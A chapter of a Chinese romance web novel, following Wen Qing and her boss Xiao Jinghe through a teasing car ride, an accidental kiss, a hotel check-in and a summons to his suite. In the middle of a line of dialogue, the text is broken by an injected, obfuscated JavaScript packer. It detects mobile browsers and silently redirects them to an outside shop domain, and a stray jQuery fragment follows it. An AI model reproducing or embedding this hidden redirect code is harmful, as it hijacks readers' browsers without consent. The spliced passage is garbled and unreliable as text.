肖景和瞥见闻庆红透的耳垂,眸底漾开一抹笑意。他视线未移,只淡淡吩咐前排:“前面永安巷,开慢点。”
于涛扫了眼导航,利落地应声:“好的,肖总。”
黑色轿车平稳地拐入一条稍窄的街道。
两旁都是高大的法国梧桐,树荫浓密得几乎遮住了整片天空。路过一家甜品店时,肖景和忽然敲了敲扶手箱:“停一下。”
于涛默契地靠边泊车。
肖景和偏过头,语气温和:“这家甜品很出名,先吃点垫垫。”
原来是给自己买吃的。
闻庆心头一软,唇角忍不住弯起:“谢谢。”
于涛自告奋勇下车去买,于是车厢里只剩下他们两个人。
空气忽然变得有些黏稠,闻庆能听见自己的呼吸声。她盯着窗外那家甜品店亮着暖黄色灯光的橱窗,试图让自己的心跳慢下来。可还没等她调整好,忽然觉察到身侧的人动了。
他的气息先到,清冽的木质香味混着车厢的冷气,一下子把她笼罩住。她僵硬转头,发现他一只手撑在扶手箱上,身子倾了过来。
“刚才,”他的声音就在她耳边,低低的,尾音微扬,“是不是偷拍我了?”
闻庆的心跳直接漏了一拍。
“没,没啊。”她下意识否认,目光慌乱地往旁边躲,搬出早就想好的说辞,“我在拍风景。”
“是吗。”
他低低地应了一声,指尖漫不经心地按下扶手箱的升降键。随着机械运转的轻响,两人中间的隔挡缓缓隐入后侧。
没了阻碍,他又往前逼近了几分,另一只手随意地搭在她座椅靠背上。
“真的……就是觉得商淮站挺好看的……”闻庆的声音越说越虚,到最后几乎碎成了气音。
他离得太近了,她整个人被他困在一个狭小的弧度里。她僵在座位上,指甲深深掐进掌心,拼命维持着濒临失控的心跳。
不承认。只要死不承认,他就拿她没办法。
肖景和突然笑了。
那声轻笑从胸腔深处震荡出来,像羽毛轻轻刮过闻庆的心尖。她下意识抬眼,直直撞进他深邃的眼眸里。隔着薄薄的镜片,那双眼睛像一汪深不见底的潭水,带着不容抗拒的引力。
她被这张近在咫尺的脸晃得忘了呼吸,大脑一片空白。
忽然,手上一轻。
手机被他抽走了。
还没等她反应过来,他拿着她的手机,屏幕朝向她,漫不经心地一扫。
面容解锁,屏幕瞬间亮起。
闻庆像被踩了尾巴的猫,瞬间炸了毛。
“还我!”
她伸手去抢,肖景和却腾出一只手,轻描淡写地将她两只手腕并拢扣住。力道不重,却带着绝对的压制力,让她动弹不得。
她错愕地看了一眼他宽大温热的手掌,脸颊瞬间涨得通红,又羞又恼地瞪着他。
肖景和单手划开相册,指尖慢条斯理地滑了两下,精准地停在一张照片上,明显是他刚才开会时的侧脸。
他把屏幕对着她晃了晃,语气里满是得逞的调侃:“小骗子。”
“你……”当面被抓包,闻庆又气又急,用力挣了一下手腕。
肖景和找到证据,顺势松开手,却故意往前一倾,逗弄似的逼问:“我什么?说说,为什么偷拍我?”
闻庆下意识往后缩,视线从他脸上仓皇移开,虚飘地盯着车窗玻璃外的梧桐树。
“我,我想拍就拍。”
反正都被发现了,她索性破罐子破摔。一想到手机还在他手里,她找回了点底气,仰起头,“你还我手机。”
说完,她猛地起身去夺。
距离太近,肖景和顺着她的动作下意识往后仰了半分。闻庆往前一扑,可没有支撑点,身体刚窜起半寸就失去了平衡。
她整个人不受控制地往前栽去。
紧接着,她感觉嘴唇擦过一片温热的皮肤,带着淡淡的须后水气息。
是他的侧脸,靠近耳根的位置。
两个人同时僵住了。
闻庆瞪大眼睛,大脑彻底宕机。
她甚至忘了退开,就那么贴着他的脸颊,一秒,两秒。然后像触电般猛地缩回身子,一把从他手里抢过手机,整个人退到车门边,后背死死抵着椅背,恨不得把自己嵌进车皮里。
肖景和还维持着刚才的姿势,微微偏着头。侧脸被她唇瓣碰过的地方,似乎还残留着一点柔软的触感。怀里的温软迅速褪去,他回神坐直身子,看着缩成一团的闻庆,喉结上下滚了一下。
“咔哒。”
车门忽然被拉开。
于涛拎着纸袋递进来,语气平稳:“肖总,甜品买回来了。”
肖景和接过袋子,轻咳一声,嗓音恢复了惯常的沉稳:“辛苦。”
于涛坐回驾驶座,发动引擎。
他习惯性地扫了一眼后视镜,敏锐地察觉到车厢里的气氛有些微妙。
老板坐姿如常,只是侧脸的耳根处洇着一抹极淡的红;而闻小姐缩在车门边,连脖子都红透了,活像一只被蒸熟的虾。
于涛思索了一秒,面不改色地打破了沉默。
“闻小姐,不知道您喜欢什么口味,就把店里的招牌都点了。您可以尝尝。”
闻庆的心跳快得像要从胸腔里蹦出来,一声“谢谢”说得磕磕巴巴。
肖景和将袋子递到她面前,低低地说了一句:“趁热吃。”
语气平淡得像什么都没发生过。
闻庆头也不抬地打开袋子,人总是会在极度紧张的时候,慌乱的做些什么来以掩盖。
她麻木地选了一个抹茶味的小盒子,打开盖子,用勺子挖了一小块。一入口,奶油的绵密和抹茶的微苦在舌尖上化开,她眼睛倏地亮了,终于恢复了些理智。
紧接着又挖了一大勺送入口中。
肖景和用余光观察着她,小姑娘脸颊明显还泛着红,侧脸鼓起一小块,像一只小仓鼠。她吃东西动静很小,安安静静的,只有勺子偶尔碰到盒壁的轻响。
倏然,她红润的唇边沾染了一抹绿色。她毫无察觉,只是下意识地伸出舌尖,轻轻卷入那抹绿意。
刚才那个意外蹭过他脸颊的触感毫无预兆地翻上来,温热的,柔软的。
肖景和喉结上下滚动,蓦然收回了视线。
-
到了酒店,已经临近开会时间。
肖景和先行回了套房,于涛陪着闻庆去前台办入住。
公司订的是双人标间,7楼,朝南。
于涛帮她拎着行李箱,闻庆再三推阻,说自己来就行,可于涛坚持笑说“肖总交代的”,把她送到门口才转身离开。
闻庆刷开房门,房间里灯已经亮着。
靠窗的那张床边摊着一个半开的行李箱,一个戴细框眼镜的女生正蹲在旁边收拾衣服。听见门响,她站起身,笑起来眉眼弯弯的,声音清脆:“你来了,我是方佳宜,财务部的。”
闻庆也自我介绍了一番,把行李放下。
两个人聊了几句,闻庆才知道方佳宜就是商淮本地人,家就在城东区,坐地铁半小时就到。她说话大大咧咧的,一边收拾一边跟闻庆吐槽商淮站过来酒店的地铁有多挤。
闻庆听着直笑,紧张感散了大半。
闻庆把甜品袋里剩下的几个甜品盒子递给方佳宜,方佳宜眼睛一亮,道了谢。两个人分着把剩下的吃完,方佳宜擦了擦嘴角的渣子,站起来说:“我一会得回家一趟,我妈炖了汤,非要我回去喝。晚上我请你吃饭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944227|214024||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,咱们去小吃街,我知道有一家特别好吃的酸辣粉。”
闻庆笑着应下。
方佳宜拎起包往外走,走到门口又回头,冲她眨眨眼:“你慢慢收拾,晚上见。”
门合上,房间里安静下来。
闻庆把行李箱里的衣服一件件挂进衣柜,洗漱用品在卫生间摆好。做完这些,她坐在床上,拨通了马女士的视频电话。
“妈。”
马女士的脸出现在屏幕上,背景是家里的厨房,老闻在后面刷碗。
“到了,累不累?”马女士问。
“不累,妈给你看看我住的房间。”
闻庆举着手机环拍了一圈,床,衣柜,卫生间,然后走到门口特意把镜头对准电磁炉灶台,油烟机,还有橱柜边的洗衣机。
“妈,这里有灶台,还可以自己做饭呢。也可以洗衣服。”
马女士点头:“还行,条件真不错,比我想的好。你爸刚才还念叨,说怕公司给你安排那种环境差的地方。”
老闻在后面咳了一声:“我没念叨。”
“刷你的碗。”马女士白了他一眼,又转回屏幕前,“是不是还没吃饭,妈一会给你转点钱,你出去吃点好的。”
“不用妈,我有钱。”
“没事,给你你收着。空了带点礼物去看看你小姨。”
“行,今天时间紧。等我周末休息了再去。”
“没事,紧你的时间就行。”马女士看了眼时间催促道:“不聊了,你快去吃饭,快一点了都。”
老闻跟着转过身喊了一句:“记得按时吃饭,晚上别熬夜,有事给你妈打电话。”
“嗯嗯,知道啦。”闻庆应着,挥了挥手才挂了电话。
手机刚搁下,房门就被敲响了。
闻庆开门一看,是于涛。
“闻小姐,饭菜已经送到顶楼套房了,肖总让我带您上去。”
闻庆微微一怔,本以为饭菜会直接送到自己房间。但转念一想,刚才办入住时,于特助就在身旁,定是听到了前台提及另一位客人已经入住,这才特意安排了顶楼的套房。
她了然地点点头,理所当然地以为于特助也会一起吃饭。便没觉得自己只身前往一个男人的房间有什么不妥,坦然地跟着人往电梯走。
电梯上行。
于涛安静地站在闻庆旁边,按了顶层。
闻庆看着电梯里跳动的数字,心里还在想,顶楼套房大概就是那种大一点的商务间吧。
虽然她没见过,但觉得酒店都差不多。
于涛刷开门,侧身让开路。
闻庆走进去,脚步顿住。
很大,简约低调却不失奢华。
客厅宽敞得能摆下两张台球桌,落地窗从这头一直延伸到那头,窗外是商淮的高楼群,阳光把远处的玻璃幕墙照得发亮。
开放式厨房里配着全套厨具,大理石台面干净得反光。客厅那套沙发看着就价值不菲,深灰色的皮质,配着几个软塌塌的靠枕。对着的墙面立着一台超大电视,屏幕上正在播财经新闻,静了音。
“闻小姐?”于涛见人停下,不解。
“没事。”闻庆回神,若无其事继续往里走。
餐桌上已经摆好了饭菜,用白瓷盘装着,还冒着热气。清炒虾仁,蟹粉豆腐,一道时蔬,一盅汤,还有两份热腾腾地大米饭。
于涛把她领到餐桌旁,解释了一句:“肖总在卧室开会,您先趁热吃。”
眼看于涛没有入座的打算,闻庆疑惑:“于特助,你不吃吗?”
于涛的笑容得体又自然:“我已经吃过了,眼下还有工作,您慢用。”
说完,他便转身往外走,脚步轻快,不带半点犹豫。
他才不想当老板的电灯泡。